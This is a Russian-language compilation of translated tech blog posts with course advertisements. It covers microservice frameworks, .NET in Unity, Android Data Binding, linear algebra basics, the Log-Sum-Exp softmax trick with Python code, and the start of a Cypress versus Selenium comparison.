Успешное внедрение микросервисов требует тщательной координации в вашей инженерной организации. В этом посте вы увидели, как микросервисные фреймворки полезны для стандартизации практики разработки в ваших проектах. С помощью GitOps вы можете уменьшить сложность развертывания и расширить возможности таких важных функций, как откат. Если у вас есть идеи относительно областей, связанных с DevOps, о которых вы хотите узнать от нас, пожалуйста, не стесняйтесь задать вопрос в проекте, или, что еще лучше - PRs открыты для этого!

Все коды на изображениях для копирования доступны здесь.


Перевод материала подготовлен в рамках курса Microservice Architecture. Всех желающих приглашаем на открытый урок Атрибуты качества, тактики и паттерны. На этом вебинаре рассмотрим, что такое качественная архитектура, основные атрибуты качества и тактики работы с ними.

Подробнее..

Перевод Лучшие фреймворки для микросервисов

21.06.2021 16:11:25 | Автор: admin

Выберите правильный фреймворк для архитектуры микросервисов

Архитектура микросервисов это методология, позволяющая разделить монолитное единое приложение на небольшие приложения и сервисы, которые выполняют легкие задачи. Бизнес-возможности и независимо развертываемые модели являются основными целями разработки микросервисов. Архитектура микросервисов построена с использованием различных языков программирования, они могут быть развернуты и соединены между собой.

Преимущества микросервисов

  • Внедрение новых технологий и процессов.

  • Независимое масштабирование приложений.

  • Готовность к облачным вычислениям.

  • Безупречная интеграция.

  • Эффективное использование аппаратного обеспечения.

  • Безопасность на уровне услуг.

  • Функции на базе API для эффективного повторного использования.

  • Независимая разработка и развертывание приложений.

Критерии выбора фреймворка

Ниже перечислены некоторые критические аспекты, которые необходимо учитывать при выборе подходящего фреймворка:

  • Популярность измеряется показателем признания фреймворка в отрасли, основанным на количестве клиентов, которые сделали его (фреймворк) стандартом предприятия. Другими важными аспектами являются наличие документации и количество квалифицированных специалистов, доступных на рынке.

  • Зрелость сообщества репутация поддерживающих фреймворк компаний, таких как Apache, Google или Spring. Зрелость фреймворка с точки зрения поддержки сообщества / коммерческой поддержки и частоты выпуска релизов для устранения проблем и добавления новых функций.

  • Простота разработки Фреймворки облегчают разработку приложений и повышают производительность разработчиков. IDE (Integrated Development Environment) и инструменты, поддерживающие фреймворки, также играют существенную роль в быстрой разработке приложений.

  • Кривая обучения Наличие документации в виде учебников, передовых методов и решений типичных проблем играет важную роль в сокращении кривой обучения и повышении общей производительности разработчиков.

  • Поддержка архитектуры Фреймворки предоставляют модули кода и интерфейсы со встроенными шаблонами проектирования, которые облегчают разработчикам приложений сложность кодирования.

  • Поддержка автоматизации Фреймворк поддерживает автоматизацию задач, связанных со сборкой и развертыванием микросервисов.

  • Независимое развертывание Фреймворк должен поддерживать все аспекты независимого развертывания - прямую и обратную совместимость, многократное использование и переносимость.

  • Непрерывная интеграция Разработчики часто интегрируют код в общий репозиторий, желательно несколько раз в день. Каждая интеграция может быть проверена с помощью автоматизированной сборки и тестов.

Для разработки микросервисов доступны различные фреймворки в соответствии с требованиями проекта. Java, Python, C++, Node JS и .Net вот несколько языков для разработки микросервисов. Давайте подробно рассмотрим языки и связанные с ними фреймворки, которые поддерживают разработку микросервисов.

На приведенной ниже диаграмме показаны различные фреймворки, связанные с каждым языком, популярным в 2021 году и так далее.

Фреймворки для микросервисов (Microservices Frameworks)

1. Java

Существует несколько фреймворков для разработки архитектуры микросервисов с использованием языка программирования Java:

  • Spring Boot Spring Boot это популярный фреймворк микросервисов на Java. Позволяет создавать как небольшие, так и крупномасштабные приложения. Spring boot легко интегрируется с другими популярными фреймворками с помощью инверсии управления.

  • Dropwizard фреймворк Dropwizard используется для разработки удобных, высокопроизводительных и Restful веб-сервисов. Без дополнительных настроек поддерживает инструменты конфигурации, метрики приложения, протоколирования и работы.

  • Restlet фреймворк Restlet следует архитектурному стилю RST, который помогает Java-разработчикам создавать микросервисы. Принят и поддерживается Apache Software License.

  • Helidon Коллекция библиотек Java для написания микросервисов. Простой в использовании, с инструментальными возможностями, поддержкой микропрофилей, реактивным веб-сервером, наблюдаемый и отказоустойчивый.

  • AxonIQ Событийно-ориентированный фреймворк микросервисов с открытым исходным кодом, сфокусированный на Command Query Responsibility Segregation (CQRS), Domain-Driven Design (DDD) и скоринге событий.

  • Micronaut full-stack фреймворк на основе JVM для построения модульных, легко тестируемых микросервисных и бессерверных приложений. Создает полнофункциональные микросервисы, включая внедрение зависимостей, автоконфигурацию, обнаружение служб, маршрутизацию HTTP и клиент HTTP. Micronaut стремится избежать недостатков фреймворков Spring, Spring Boot, обеспечивая более быстрое время запуска, уменьшение объема памяти, минимальное использование рефлексии и спокойное юнит-тестирование.

  • Lagom Реактивный фреймворк микросервисов с открытым исходным кодом для Java или Scala. Lagom базируется на Akka и Play.

2. GoLang

Доступно несколько фреймворков для разработки архитектуры микросервисов с использованием языка программирования Go

  • GoMicro подключаемая библиотека RPC предоставляет фундаментальные строительные блоки для написания микросервисов на языке Go. Поддерживаются API-шлюз, интерактивный CLI, сервисный прокси, шаблоны и веб-панели.

3. Python

Доступно несколько фреймворков для разработки архитектуры микросервисов с использованием языка программирования Phyton:

  • Flask Web Server Gateway Interface (WSGI) Веб-ориентированный легкий фреймворк микросервисов на языке Phyton. Flask-RESTPlus - расширение для Flask, которое предоставляет поддержку для быстрого создания REST API.

  • Falcon веб-фреймворк API для построения надежных бэкендов приложений и микросервисов в Phyton. Фреймворк отлично работает как с асинхронным интерфейсом шлюза сервера (ASGI), так и с WSGI.

  • Bottle Быстрый, легкий и простой WSGI микросервисный веб-фреймворк на основе Phyton. Распространяется одним файловым модулем и не имеет зависимостей, кроме стандартной библиотеки Python.

  • Nameko Фреймворк Nameko для построения микросервисов на Phyton со встроенной поддержкой RPC через AMQP, асинхронных событий, HTTP GET и POST, а также WebSocket RPC.

  • CherryPy CherryPy позволяет разработчикам создавать веб-приложения, используя объектно-ориентированное программирование на Python.

4. NodeJS

Существует несколько фреймворков для разработки архитектуры микросервисов с использованием языков программирования NodeJS

  • Molecular событийно-ориентированная архитектура микросервисов, построенная с использованием NodeJS. Содержит встроенный реестр сервисов и выполняет их динамическое обнаружение, осуществляет балансировку нагрузки на запросы и события, а также функцию отказоустойчивости и встроенное кэширование.

5. .NET

ASP.Net, фреймворк, используемый для веб-разработки и делающий ее API. Микросервисы поддерживают встроенные функции, для их (микросервисов) построения и развертывания с помощью контейнеров Docker.

6. MultiLanguage

Существует несколько фреймворков для разработки архитектуры микросервисов с использованием нескольких языков

  • Spark создание веб-приложений микросервисов с использованием Kotlin и Java. Выразительный и простой веб-фреймворк DSL на Java/Kotlin, созданный для быстрой разработки.

Заключение

В процессе разработки проектов предприятия и сообщества разработчиков сталкиваются с проблемой выбора правильного фреймворка микросервисов для быстрого и экономически эффективного создания надежных приложений.

Выбор фреймворка должен основываться на признании в отрасли, наличии навыков, поддержке сообщества, кривой обучения, простоте разработки и уверенности за счет передового опыта применения. ИТ-организации должны понимать плюсы и минусы выбранного фреймворка и убедиться, что их решение не помешает будущим деловым и операционные потребностям.


Перевод подготовлен в рамках курса "Microservice Architecture".

Всех желающих приглашаем на вебинар Атрибуты качества, тактики и паттерны. На этом открытом уроке рассмотрим, что такое качественная архитектура, основные атрибуты качества и тактики работы с ними.

Подробнее..

Перевод Предупреждение для разработчиков о грядущих критических изменениях в движке

16.06.2021 14:10:53 | Автор: admin

Поддержка движка отстает, а исправление положения - задача не из легких

Разработчик программного обеспечения Unity Джош Питерсон рассказал нам о будущем поддержки .NET в широко используемом движке для разработки игр.

Согласно опросу, проведенному в конце прошлого года, использование C# в разработке игр является одной из основных причин популярности C#, но его реализация в Unity несколько беспорядочна.

Обработчик сценариев C# использует Mono, но разработчики также могут использовать .NET Framework при работе в Windows. Mono - это старая реализация .NET с открытым исходным кодом, созданная до того, как Microsoft выпустила .NET Core. Microsoft получила контроль над Mono вместе с Xamarin в 2016 году, и Mono теперь имеет много общего кода с .NET Core, но он все равно остается отдельным продуктом, в котором по-прежнему в некоторых сценариях используется рантайм.

Unity поддерживает собственный форк Mono, который, по словам Питерсона, примерно на два года отстает от upstream кода. Сейчас команда обновляет его до последней версии кода из upstream репозитория Mono - изменение, в котором он уверен на 95%, что оно попадет в следующий релиз, Unity 2021.2. Он добавил, что эта работа улучшит производительность и исправит ошибки, но сама по себе не привнесет никаких новых фич .NET - хотя она закладывает фундамент для фич, которые будут добавлены в будущем.

Тем не менее, Питерсон ожидает, что в Unity 2021.2 будет добавлена поддержка .NET Standard 2.1, но на этот раз с 75% уверенностью. Версии .NET Standard определяют набор API, которые должна поддерживать реализация .NET. Сложный аспект .NET Standard 2.1 заключается в том, что .NET Framework навсегда застрял на .NET Standard 2.0. Питерсон говорит: Хотя .NET Framework не поддерживает .NET Standard 2.1, библиотеки классов Mono его поддерживают, поэтому мы должны быть в состоянии выстроить хороший мост к экосистеме на основе .NET Core.

Это обновление не может произойти быстро, поэтому некоторые разработчики разочарованы таким медленным прогрессом. Предпринимаются ли какие-либо подвижки в направлении отказа от Mono в пользу полной интеграции .NET? Особенно сейчас, когда .NET становится настолько кроссплатформенным, - спросил пользователь в августе прошлого года. К числу востребованных фич относятся Span<T>, представленный в C# 7.2, и оператор диапазона, представленный в C# 8.0. Microsoft выпустила C# 8.0 в сентябре 2019 года, и внедрение полного набора фич в Unity заняло много времени. Пользователи также обеспокоены отставанием в производительности .NET в Unity.

Питерсон говорит, что поддержка C# 8.0 в 2021 году по-прежнему будет реализована на основе Mono. Он также выразил надежду, что C# 9.0, выпущенный Microsoft в ноябре 2020 года, также будет поддерживаться, но это зависит от добавления фич в Mono и IL2CPP (который преобразует код .NET в C++ для компиляции), в чем его уверенность снизилась до 50%, сказал он.

Что касается перехода на .NET Core, это вряд ли будет скоро. Питерсон сказал, что Unity, вероятно, откажется от .NET 5 в пользу .NET 6, который является предстоящим релизом с долгосрочной поддержкой. Даже тут он заметил, что похоже, что JIT рантайм здесь будет Mono, но он не уверен в этом и добавил, что нам может потребоваться перейти непосредственно к CoreCLR в целях поддержки .NET 6.

Одна из проблем заключается в том, что функция редактора Unity, называемая перезагрузкой домена (domain reloading), которая сбрасывает состояние сценария, зависит от функции (AppDomains), которой нет в .NET Core. Питерсон говорит, что это может быть реализовано другим способом, но это будет критическое изменение. Для разработчиков игр .NET 6 в любом случае станет критическим изменением, поскольку любые сборки, скомпилированные с использованием mscorlib.dll из экосистемы .NET Framework, не будут работать и должны быть перекомпилированы.

Сложность, связанная с .NET Standard, .NET Framework, .NET Core и Mono, является проблемой для разработчиков Unity и показывает, что унификация .NET, которую затеяла Microsoft, на самом деле является длительным процессом, а не тем, что может произойти в одночасье с выпуском .NET 5.0 в прошлом году.

Единственное, что меня волнует, это поддержка .NET 6. Самая большая проблема, с которой я столкнулся, заключалась в низкой производительности редактора и длительном времени итерации по мере увеличения размера проекта. В настоящее время я отказался от Unity, потому что его было слишком неудобно использовать, и перешел на Unreal, - сказал другой пользователь, добавив, что Mono скоро станет историей, и у него нет будущего.

В отдельном посте Питерсон подчеркнул, что все, что здесь обсуждается, может быть изменено. Пожалуйста, не рассматривайте обсуждения в этой ветке как официальные объявления. Вместо этого он сказал, что он скорее предлагает нам понимание их прогресса.


В преддверии старта курса "Unity Game Developer. Professional" приглашаем всех желающих посетить бесплатный двухдневный интенсив в рамках которого мы разработаем все необходимые инструменты и архитектуру для диалоговой системы (чтобы наш персонаж мог общаться с неигровыми персонажами), реализуем инвентарь, добавим в игру торговцев и создадим систему квестов. Всего два занятия и практически готовая RPG у вас в кармане.

Подробнее..

Перевод Как использовать Android Data Binding в пользовательских представлениях?

16.06.2021 20:20:54 | Автор: admin

. . .

Как вы знаете, Data Binding Library - это отличная часть библиотеки Android Jetpack, позволяющая сократить количество шаблонного кода и связать представления с данными более эффективным способом, чем это было возможно ранее. В этой статье я собираюсь объяснить, как можно использовать привязку данных в наших пользовательских представлениях.

. . .

Начало работы

Чаще всего мы создаем пользовательские представления для повышения производительности, настройки и т.д., но если вы используете привязку данных в своих проектах, или напротив не используете ее в своих пользовательских представлениях, это не очень хорошо. Возможно, это выглядит примерно так:

class MyCustomView @JvmOverloads constructor(    context: Context,    attrs: AttributeSet? = null,    defStyleAttr: Int = 0) : FrameLayout(context, attrs, defStyleAttr) {    init {        attrs?.let {            val typedArray =                context.obtainStyledAttributes(it, R.styleable.MyCustomView)            // some attr handling stuffs...            typedArray.recycle()        }    }}

Но если вы хотите использовать пользовательское представление с компонентом привязки данных, то нет необходимости обрабатывать эти атрибуты.

Автоматический выбор метода

Когда вы определяете атрибут следующим образом:

<?xml version="1.0" encoding="utf-8"?><resources>    <declare-styleable name="MyCustomView">        <attr name="currencyCode" format="string" />    </declare-styleable></resources>

библиотека привязки данных имеет возможность автоматического выбора метода, то есть для атрибута с именем currencyCode библиотека автоматически пытается найти метод setCurrencyCode(arg), принимающий в качестве аргумента совместимые типы. Пространство имен атрибута не учитывается, при поиске метода используется только имя атрибута и тип. С другой стороны, если автоматический выбор метода не работает для имени вашего атрибута или вы хотите изменить метод сеттера для вашего атрибута, вы можете использовать методы привязки.

Методы привязки

Методы привязки дают вам возможность изменить сеттер для атрибута вашего пользовательского представления. Вы можете поместить эти методы над своим классом, используя аннотацию @BindingMethods, или создать пустой класс с этой аннотацией.

class MyCustomView @JvmOverloads constructor(    context: Context,    attrs: AttributeSet? = null,    defStyleAttr: Int = 0) : FrameLayout(context, attrs, defStyleAttr) {    private val currencyFormatter = NumberFormat.getCurrencyInstance(Locale.getDefault())        //..    fun setCurrency(currencyCode: String?) {        if (currencyCode.isNullOrEmpty())            return        currencyFormatter.currency = Currency.getInstance(currencyCode)    }    //..}

определите функцию, названную как угодно, затем просто поместите ее с атрибутом в методы привязки.

@BindingMethods(    value = [        BindingMethod(            type = MyCustomView::class,            attribute = "currencyCode",            method = "setCurrency"        )    ])class BindingMethods

с помощью этого способа вы можете задать различные имена сеттеров для вашего атрибута.

Адаптеры привязки

Если у вас есть функции с несколькими параметрами в вашем пользовательском представлении, и необходимо использовать эти функции с привязкой данных, то в этом случае следует использовать адаптеры привязки.

@BindingAdapter(    value = ["paddingEnd", "paddingTop", "paddingStart", "paddingBottom"],    requireAll = false)fun MyCustomView.setPaddingRelative(    paddingEnd: Int = 0,    paddingTop: Int = 0,    paddingStart: Int = 0,    paddingBottom: Int = 0) {    this.setPaddingRelative(paddingStart, paddingTop, paddingEnd, paddingBottom)}

Для настройки отступов можно создать адаптер привязки, как показано в примере.

. . .

Вот и все, спасибо за чтение! Если вам понравилась эта история, пожалуйста, нажмите на стрелочку вверх и поделитесь ею, чтобы помочь другим!

Если у вас есть какие-либо комментарии, не стесняйтесь связаться со мной в Twitter.


Перевод материала подготовлен в рамках запуска курса "Android Developer. Professional".

Всех желающих приглашаем на двухдневный интенсив по теме: "Полный coverage. Покрываем Android приложение юнит/интеграционными/UI тестами"


Подробнее..

Перевод Линейная алгебра для исследователей данных

15.06.2021 14:10:21 | Автор: admin
Иллюстрация: UCIИллюстрация: UCI

Наша [Ирвинга Капланского и Пола Халмоша] общая философия в отношении линейной алгебры такова: мы думаем в безбазисных терминах, пишем в безбазисных терминах, но когда доходит до серьезного дела, мы запираемся в офисе и вовсю считаем с помощью матриц.

Ирвинг Капланский

Для многих начинающих исследователей данных линейная алгебра становится камнем преткновения на пути к достижению мастерства в выбранной ими профессии.

kdnuggetskdnuggets

В этой статье я попытался собрать основы линейной алгебры, необходимые в повседневной работе специалистам по машинному обучению и анализу данных.

Произведения векторов

Для двух векторов x, y их скалярным или внутренним произведением xy

называется следующее вещественное число:

Как можно видеть, скалярное произведение является особым частным случаем произведения матриц. Также заметим, что всегда справедливо тождество

.

x^Ty = y^Tx

Для двух векторов x , y (не обязательно одной размерности) также можно определить внешнее произведение xy . Это матрица, значения элементов которой определяются следующим образом: (xy) = xy, то есть

След

Следом квадратной матрицы A , обозначаемым tr(A) (или просто trA), называют сумму элементов на ее главной диагонали:

След обладает следующими свойствами:

  • Для любой матрицы A : trA = trA.

  • Для любых матриц A,B : tr(A + B) = trA + trB.

  • Для любой матрицы A и любого числа t : tr(tA) = t trA.

  • Для любых матриц A,B, таких, что их произведение AB является квадратной матрицей: trAB = trBA.

  • Для любых матриц A,B,C, таких, что их произведение ABC является квадратной матрицей: trABC = trBCA = trCAB (и так далее данное свойство справедливо для любого числа матриц).

TimoElliottTimoElliott

Нормы

Норму x вектора x можно неформально определить как меру длины вектора. Например, часто используется евклидова норма, или норма l:

Заметим, что x=xx.

Более формальное определение таково: нормой называется любая функция f : n , удовлетворяющая четырем условиям:

  1. Для всех векторов x : f(x) 0 (неотрицательность).

  2. f(x) = 0 тогда и только тогда, когда x = 0 (положительная определенность).

  3. Для любых вектора x и числа t : f(tx) = |t|f(x) (однородность).

  4. Для любых векторов x, y : f(x + y) f(x) + f(y) (неравенство треугольника)

Другими примерами норм являются норма l

и норма l

Все три представленные выше нормы являются примерами норм семейства lp, параметризуемых вещественным числом p 1 и определяемых как

Нормы также могут быть определены для матриц, например норма Фробениуса:

Линейная независимость и ранг

Множество векторов {x,x,...,x} называют линейно независимым, если никакой из этих векторов не может быть представлен в виде линейной комбинации других векторов этого множества. Если же такое представление какого-либо из векторов множества возможно, эти векторы называют линейно зависимыми. То есть, если выполняется равенство

для некоторых скалярных значений ,, - , то мы говорим, что векторы x,...,x линейно зависимы; в противном случае они линейно независимы. Например, векторы

линейно зависимы, так как x = 2x + x.

Столбцовым рангом матрицы A называют число элементов в максимальном подмножестве ее столбцов, являющемся линейно независимым. Упрощая, говорят, что столбцовый ранг это число линейно независимых столбцов A. Аналогично строчным рангом матрицы является число ее строк, составляющих максимальное линейно независимое множество.

Оказывается (здесь мы не будем это доказывать), что для любой матрицы A столбцовый ранг равен строчному, поэтому оба этих числа называют просто рангом A и обозначают rank(A) или rk(A); встречаются также обозначения rang(A), rg(A) и просто r(A). Вот некоторые основные свойства ранга:

  • Для любой матрицы A : rank(A) min(m,n). Если rank(A) = min(m,n), то A называют матрицей полного ранга.

  • Для любой матрицы A : rank(A) = rank(A).

  • Для любых матриц A , B np: rank(AB) min(rank(A),rank(B)).

  • Для любых матриц A,B : rank(A + B) rank(A) + rank(B).

Ортогональные матрицы

Два вектора x, y называются ортогональными, если xy = 0. Вектор x называется нормированным, если ||x|| = 1. Квадратная м

атрица U называется ортогональной, если все ее столбцы ортогональны друг другу и нормированы (в этом случае столбцы называют ортонормированными). Заметим, что понятие ортогональности имеет разный смысл для векторов и матриц.

Непосредственно из определений ортогональности и нормированности следует, что

Другими словами, результатом транспонирования ортогональной матрицы является матрица, обратная исходной. Заметим, что если U не является квадратной матрицей (U , n < m), но ее столбцы являются ортонормированными, то UU = I, но UU I. Поэтому, говоря об ортогональных матрицах, мы будем по умолчанию подразумевать квадратные матрицы.

Еще одно удобное свойство ортогональных матриц состоит в том, что умножение вектора на ортогональную матрицу не меняет его евклидову норму, то есть

для любых вектора x и ортогональной матрицы U .

TimoElliottTimoElliott

Область значений и нуль-пространство матрицы

Линейной оболочкой множества векторов {x,x,...,x} является множество всех векторов, которые могут быть представлены в виде линейной комбинации векторов {x,...,x}, то есть

Областью значений R(A) (или пространством столбцов) матрицы A называется линейная оболочка ее столбцов. Другими словами,

Нуль-пространством, или ядром матрицы A (обозначаемым N(A) или ker A), называют множество всех векторов, которые при умножении на A обращаются в нуль, то есть

Квадратичные формы и положительно полуопределенные матрицы

Для квадратной матрицы A и вектора x квадратичной формой называется скалярное значение x Ax. Распишем это выражение подробно:

Заметим, что

  • Симметричная матрица A называется положительно определенной, если для всех ненулевых векторов x справедливо неравенство xAx > 0. Обычно это обозначается как

    (или просто A > 0), а множество всех положительно определенных матриц часто обозначают

    .

  • Симметричная матрица A называется положительно полуопределенной, если для всех векторов справедливо неравенство x Ax 0. Это записывается как

    (или просто A 0), а множество всех положительно полуопределенных матриц часто обозначают

    .

  • Аналогично симметричная матрица A называется отрицательно определенной

  • , если для всех ненулевых векторов x справедливо неравенство xAx < 0.

  • Далее, симметричная матрица A называется отрицательно полуопределенной (

    ), если для всех ненулевых векторов x справедливо неравенство xAx 0.

  • Наконец, симметричная матрица A называется неопределенной, если она не является ни положительно полуопределенной, ни отрицательно полуопределенной, то есть если существуют векторы x, x такие, что

    и

    .

Собственные значения и собственные векторы

Для квадратной матрицы A комплексное значение и вектор x будут соответственно являться собственным значением и собственным вектором, если выполняется равенство

На интуитивном уровне это определение означает, что при умножении на матрицу A вектор x сохраняет направление, но масштабируется с коэффициентом . Заметим, что для любого собственного вектора x и скалярного значения с справедливо равенство A(cx) = cAx = cx = (cx). Таким образом, cx тоже является собственным вектором. Поэтому, говоря о собственном векторе, соответствующем собственному значению , мы обычно имеем в виду нормализованный вектор с длиной 1 (при таком определении все равно сохраняется некоторая неоднозначность, так как собственными векторами будут как x, так и x, но тут уж ничего не поделаешь).


Перевод статьи был подготовлен в преддверии старта курса "Математика для Data Science". Также приглашаем всех желающих посетить бесплатный демоурок, в рамках которого рассмотрим понятие линейного пространства на примерах, поговорим о линейных отображениях, их роли в анализе данных и порешаем задачи.


Подробнее..

Log-Sum-Exp Trick как свойства функций делают работу классификаторов реальной

19.06.2021 00:09:06 | Автор: admin


В этой статье мы рассмотрим, что такое классификатор, поговорим о мультиклассовой классификации с помощью нейронных сетей. Затем, ознакомившись с контекстом перейдем к основному топику поста к Log-Sum-Exp Trick. Напишем формулы и разберемся, как этот трюк помогает избежать переполнения чисел с плавающей точкой.

Логистическая регрессия


В классическом машинном обучение существует метод классификации под названием логистическая регрессия. Классификатор на основе логистической регрессии, в обычном случае, призван разделять данные на два класса. Например, классификатор электронной почты может выдавать значение 0.9, что может означать: 90% вероятность, письмо спам, и 10% не спам. При этом сумма вероятностей всегда даёт единицу. Логистическая регрессия выдаёт такие вероятности на основе выхода сигмоидной функции.

Здесь возникают следующие вопросы. Как действовать, если наши данные нужно разделять на более, чем два класса? Какую функцию использовать, для того, чтобы выходы классификатора можно было трактовать как вероятности?

Мультиклассовые нейронные сети


В качестве классификатора, выдающего сразу несколько вероятностей, давайте рассмотрим нейронную сеть. Такие нейронные сети делают предсказания с помощью функции софтмакс.

\frac{e^{x_i}}{\sum_{j=0}^N{e^{x_j}}} = p_i, \, i \in [0, N].

В формуле выше x_j выходные значения нейронной сети для каждого класса, p_i преобразованные с помощью софтмакс вероятности.



Софтмакс генерализует задачу получения вероятностей, когда выходов у классификатора больше двух.

Например, если мы обучили классификатор на изображениях, определять что изображено на картинке, то мы можем увидеть что-то похожее на следующее:

image
так схематично изображается применение софтмакса к выходам нейронной сети,
image
а так будет выглядеть распределение вероятностей, они в сумме дают единицу (источник).

Проблема переполнения при вычислении Softmax


Логиты, приходящие из нейронной сети, могут принимать произвольные значения на вещественной прямой. Рассмотрим, что будет если в Python мы попытаемся вычислить софтмакс для третьей компоненты заданного вектора:

import numpy as npx = np.array([-100, 1000, -100, 5, 10, 0.001])exp_x = np.exp(x)print("Возведение в степень X: ", "\n", exp_x)print("Сумма экспонент: ", "\n", np.sum(exp_x))print("Третья вероятность: ", np.exp(x[3]) / np.sum(exp_x))

Вывод:

Возведение в степень X:   [3.72007598e-44            inf 3.72007598e-44 1.48413159e+02 2.20264658e+04 1.00100050e+00]Сумма экспонент:  infТретья вероятность:  0.0

Видим, что значения 1000 приводит к переполнению и это губит всю дальнейшую нормализацию.

Log-Sum-Exp


Для решения проблемы поставленной выше предлагается воспользоваться функцией

LSE(X) = \log\left(\sum_{j=0}^N e^{x_j}\right) Log-Sum-Exp функция.


Её определение вытекает из названия это последовательное применение к входному аргументу: экспоненты, суммирования и логарифмирования. Часто можно увидеть, что эту функцию называют дифференцируемым аналогом функции максимума от нескольких переменных. Дифференцируемость крайне полезное для поиска экстремумов свойство.

image (источник)
Как видно на картинке выше, lse(x) всюду гладкая, в отличии от max(x) функция.

Вариант Log-Sum-Exp без переполнения


Если попытаться вычислить функцию LSE от вектора x, то мы так же столкнемся с проблемой переполнения, поскольку в сумме участвуют экспоненты произвольной, возможно большой, степени. Путём преобразований, основанных на свойствах функции можно избавиться от проблемы переполнения.

Пусть результат выполнения LSE(x) имеет значение y, тогда мы можем записать следующее уравнение:


y = LSE(x) = \log{\sum_{j=0}^N{e^{x_j}}}.

Применим экспоненту к обоим частя уравнения:


e^y = \sum_{j=0}^N{e^{x_j}}.

Время трюка. Пусть c = \max_{j}(x_j), тогда вынесем из каждого слагаемого e^c:


e^y = e^c \sum_{j=0}^N{e^{x_j- c}}, \, \, | \,\, \log(\cdot)

y = c + \log\left(\sum_{j=0}^N{e^{x_j- c}} \right) = LSE(x).


Теперь проверим на практике новую формулу:

import numpy as npx = np.array([11, 12, -1000, 5, 10, 0.001])y = np.array([-1000, 1000, -1000, 5, 10, 0.001])def LSE_initial(x):  return np.log(np.sum(np.exp(x)))def LSE_modified(x):  c = np.max(x)  return c + np.log(np.sum(np.exp(x - c)))# с экспонентами, не приводящими к переполнениюprint('Исходная LSE(x): ', LSE_initial(x)) print('Преобразованная LSE(x): ', LSE_modified(x))# с экспонентой в 1000й степениprint('Исходная LSE(y): ', LSE_initial(y))print('Преобразованная LSE(y): ', LSE_modified(y))

Вывод:

Исходная LSE(x):  12.408216490736713Преобразованная LSE(x):  12.408216490736713Исходная LSE(y):  infПреобразованная LSE(y):  1000.0

Видно, что даже в случае, когда одно из слагаемых обращается в float inf, модифицированный вариант lse(x) даёт верный результат.

Log-Sum-Exp Trick


Теперь перейдём непосредственно к трюку. Наша исходная задача состоит в том, чтобы вычислить софтмакс для набора вещественных значений, не получая при этом неправильные результаты из-за переполнения.

Чтобы этого добиться, давайте приведем функцию софтмакс к виду, зависящему от LSE.


Пусть p_i в формуле софтмакс равно 1, тогда наше равенство примет следующий вид:


\frac{e^{x_i}}{\sum_{j=0}^N{e^{x_j}}} = 1.

Применим ряд преобразований:


\frac{e^{x_i}}{\sum_{j=0}^N{e^{x_j}}} = 1, \,\, | \,\, * \sum_{j=0}^N{e^{x_j}}

e^{x_i} = \sum_{j=0}^N{e^{x_j}}, \,\, | \,\, \log(\cdot)

0 = x_i - \log{\sum_{j=0}^N{e^{x_j}}}, \,\, | \,\, \exp(\cdot)

1 = \exp\left( x_i - \log{\sum_{j=0}^N{e^{x_j}}} \right).

Получается, что вместо вычисления исходного примера можно вычислить следующее:


\frac{e^{x_i}}{\sum_{j=0}^N{e^{x_j}}} = \exp\left( x_i - LSE(x) \right).


Применим новую формулу для вычисления софтмакса:

import numpy as npx = np.array([11, 12, -1000, 5, 10, 0.001])y = np.array([-1000, 1000, -1000, 5, 10, 0.001])def softmax_initial(x):  return np.exp(x) / np.sum(np.exp(x))def LSE(x):  c = np.max(x)  return c + np.log(np.sum(np.exp(x - c)))def softmax_modified(x):  return np.exp(x - LSE(x))# с экспонентами, не приводящими к переполнениюprint('Исходный Softmax(x): ', softmax_initial(x)) print('Преобразованный Softmax(x): ', softmax_modified(x))print('Суммы вероятностей: {} {}\n'.format(np.sum(softmax_initial(x)), np.sum(softmax_modified(x))))# с экспонентой в 1000й степениprint('Исходный Softmax(y): ', softmax_initial(y))print('Преобразованный Softmax(y): ', softmax_modified(y))print('Суммы вероятностей: {} {}'.format(np.sum(softmax_initial(y)), np.sum(softmax_modified(y))))

Вывод:

Исходный Softmax(x):  [2.44579103e-01 6.64834933e-01 0.00000000e+00 6.06250985e-04 8.99756239e-02 4.08897394e-06]Преобразованный Softmax(x):  [2.44579103e-01 6.64834933e-01 0.00000000e+00 6.06250985e-04 8.99756239e-02 4.08897394e-06]Суммы вероятностей: 0.9999999999999999 1.0000000000000004Исходный Softmax(y):  [ 0. nan  0.  0.  0.  0.]Преобразованный Softmax(y):  [0. 1. 0. 0. 0. 0.]Суммы вероятностей: nan 1.0

Здесь, аналогично результатам с преобразованным lse(x), видно, что модифицированная версия софтмакса стабильнее, и не страдает от переполнения при вычислении. Сумма вероятностей, полученных из софтмакс, даёт единицу, на всех примерах векторов. Такое поведение и ожидается от этой функции.

Заключение


В посте мы познакомились с несколькими широко используемыми в машинном обучении функциями. Обсудили поверхностно как работает множественный классификатор на основе нейронной сети. И самое главное, разобрались как избежать неправильных результатов, когда нужно выдавать вероятности отнесения к определенному классу, у такой нейронной сети.

Статья была подготовлена в рамках курса Математика для Data Science. Также предлагаю всем желающим посмотреть запись бесплатного демоурока про линейные пространства и отображения.

СМОТРЕТЬ ДЕМОУРОК
Подробнее..

Перевод Cypress VC Selenium

17.06.2021 18:06:38 | Автор: admin

Я бы хотел сравнить два наиболее интересных инструмента, которые считаются "геймчейнджерами", из большого списка инструментов для исследования автоматизации, доступных на рынке.

Вот вам вопрос на миллион долларов: является ли Cypress чем-то большим, чем платформа для автоматизации веб-тестов и может ли он заменить Selenium?

В этой статье будет проведено тщательное сравнение, чтобы проиллюстрировать, как оба метода работают для автоматизации тестов и какой метод в различных ситуациях имеет преимущество.

Краткое описание

Cypress - это тестовая веб-платформа нового поколения. Она была разработана на основе Mocha и Chai и представляет собой платформу для сквозного тестирования на основе JavaScript.

Selenium - это платформа для тестирования с открытым исходным кодом, используемая для автоматизации веб-браузера. Selenium WebDriver управляет браузером локально или удаленно и используется для проверки автоматизации пользовательского интерфейса. Другие элементы Selenium часто играют особую роль в отношении надежности и прочности продукта.

Архитектура

Cypress работает в одном цикле выполнения приложения. Node.js. является серверным методом, лежащим в основе Cypress. Процессы Cypress и Node.js постоянно взаимодействуют, синхронизируются и совместно выполняют задачи. Кроме того, Cypress работает на сетевом уровне, интерпретируя и изменяя веб-трафик. Это позволяет Cypress не только редактировать все браузеры, но и обновлять коды, которые могут повлиять на автоматизацию браузеров.

